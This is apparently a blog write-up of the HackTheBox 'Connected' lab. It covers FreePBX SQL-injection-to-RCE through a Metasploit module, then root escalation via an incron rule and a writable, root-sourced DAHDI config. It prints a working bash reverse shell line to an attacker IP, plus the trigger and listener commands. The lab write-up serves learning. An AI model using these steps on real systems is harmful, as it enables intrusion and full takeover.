HackTheBox "You have solved Connected!" badge

It’s been a while since I did any HTB challenges, so I thought I’d ease back in with Connected, an easy rated Linux box. It falls in two stages: an unauthenticated SQL-injection-to-RCE exploit against FreePBX to get a foothold, followed by a writable file in relation to a incron job that can be exploited to then get root.

Reconnaissance and enumeration

First step as always, enumerate. A quick nmap against the box:

nmap -sC -sV 10.129.245.100
nmap -sC -sV output showing SSH, HTTP and HTTPS open
Three services: SSH on 22, HTTP on 80, HTTPS on 443. The HTTP title redirects to connected.htb.

Three services, and the HTTP title tries to redirect to connected.htb, so I added that to my /etc/hosts file to let the vhost resolve:

/etc/hosts edited to add connected.htb

Browsing to the site lands on a FreePBX administration panel. The footer gives away the exact version so I don’t need to dig to deep:

FreePBX administration landing page
The footer showing version: FreePBX 16.0.40.7.

Initial access: FreePBX unauthenticated SQLi to RCE

I checked searchsploit first to see if there was an easy win for FreePBX v16:

searchsploit results for freepbx 16
searchsploit lists a few candidates, but none matches version 16 exactly. The top one doesn’t list an a specific version, but it looks like an exploit to a recently reported CVE, so is worth trying. Moving to Metasploit, as this is a Metasploit ruby module:
msfconsole search freepbx rce showing the unauth SQLi to RCE module

Module 2, exploit/unix/http/freepbx_unauth_sqli_to_rce, is an unauthenticated SQL injection in FreePBX that leads to remote code execution (CVE-2025-57819). It’s ranked excellent and the disclosure date indicates its a recent exploit which will likely affect our version of FreePBX here. FreePBX records some system actions through its database, so the injection lets an unauthenticated attacker push statements into the backend tables and through the task-runner framework to execute the code.

The module requirements were RHOSTS and LHOST. I set those, ran it, and after the task manager picked up the queued job (about 30 seconds) a Meterpreter session dropped:

From there I opened a shell and confirmed the foothold:

Meterpreter shell running whoami returning asterisk and reading user.txt

A shell as the low privileged account asterisk, and the user flag at /home/asterisk/user.txt.

Privilege escalation: incron and a writable config

With a foothold as asterisk, I transferred over linPEAS and let it rip. It highlights the high confidence priv esc routes in yellow, and one section stood out, a set of incron rules:

linpeas output highlighting the incron rules in yellow

incron is kinda like cron, but instead of running on a schedule, it runs a command the moment a watched file gets written to. I dumped the full config:

cat /etc/incron.d/*
cat /etc/incron.d/* showing the incron rules

Every one of these commands runs as root. But a root command is only useful if I can control what it does, so I next checked which of these root actions touches a file I can write to?

I searched /etc for writable config files:

find /etc -type f -name "*.conf" -writable 2>/dev/null
find /etc for writable .conf files, init.conf highlighted
/etc/dahdi/init.conf is writable, and it lines up with the dahdi_restart incron rule.

The list was long, but /etc/dahdi/init.conf lined up perfectly with one of the incron rules:

/var/spool/asterisk/sysadmin/dahdi_restart  IN_CLOSE_WRITE  /usr/sbin/sysadmin_dahdi_restart

A root-run DAHDI restart script and a DAHDI config file I can write to. That combination, a writable file that is blindly executed by a root process, is a common CTF pattern that I’ve seen a few times before.

Before proceeding, I checked how the writable file actually gets used. The script the incron rule runs doesn’t touch init.conf directly, it calls /etc/init.d/dahdi restart. Looks like one additional hop:

grep -n "init.conf" /etc/init.d/dahdi
[ -r /etc/dahdi/init.conf ] && . /etc/dahdi/init.conf

This is the vulnerable bit. It doesn’t just read init.conf, it executes its contents as shell commands inside the running root process. Anything command I write into that file will run as root.

So the full chain is:

  • incron watches /var/spool/asterisk/sysadmin/dahdi_restart
  • As asterisk, I write to it, so root runs /usr/sbin/sysadmin_dahdi_restart
  • That script calls /etc/init.d/dahdi restart
  • The init script hits . /etc/dahdi/init.conf, sourcing it as root
  • My payload in init.conf executes as root
THE INCRON PRIVILEGE-ESCALATION CHAIN 1 Plant your payload in the writable config echo “bash -i >& /dev/tcp/<you>/4444 0>&1” > /etc/dahdi/init.conf you · asterisk 2 Trigger it by writing to the watched file echo “Restart” >> /var/spool/asterisk/sysadmin/dahdi_restart you · asterisk 3 incron fires and runs the handler /usr/sbin/sysadmin_dahdi_restart root 4 The handler restarts DAHDI /etc/init.d/dahdi restart root 5 The init script sources your config . /etc/dahdi/init.conf root 6 Your planted payload executes, and a root shell lands uid=0(root) gid=0(root) root same file The file you plant in step 1 is the one root sources in step 5. That leading . runs it as shell commands, as root.
The whole chain in one view. You only touch step 1, as asterisk; everything below runs as root, and step 5 is where the privilege jump happens.

Exploitation

1. Start a listener for root’s shell to land on:

nc -lvnp 4444 listener started
A listener for root’s shell to land on.

2. Write a bash reverse shell into the sourced config. Since the file is sourced as a shell script, a plain reverse shell one-liner works. I used https://www.revshells.com/ to assist me here:

echo "bash -i >& /dev/tcp/10.10.15.58/4444 0>&1" > /etc/dahdi/init.conf
echo bash reverse shell into /etc/dahdi/init.conf
Writing a bash reverse shell into the sourced config.

3. Trigger the event. The rule fires on IN_CLOSE_WRITE, so writing to the watched file, which asterisk is allowed to do, kicks off the chain:

echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
echo Restart appended to the watched dahdi_restart file
Writing to the watched file fires the IN_CLOSE_WRITE event.

The incron detects the write/change to the file, root runs the restart script, which sources the poisoned init.conf, and a shell is handed to the listener:

Reverse shell connection received, FreePBX banner shown
Root shell running whoami returning root and reading root.txt

whoami returns root, and the root flag is at /root/root.txt. Box owned.

A relatively straightforward box to get back into the swing of things. A lot has changed in the world of AI though, so for the next post I might take a look at how far an AI agent can get pwning a box from HTB on its own!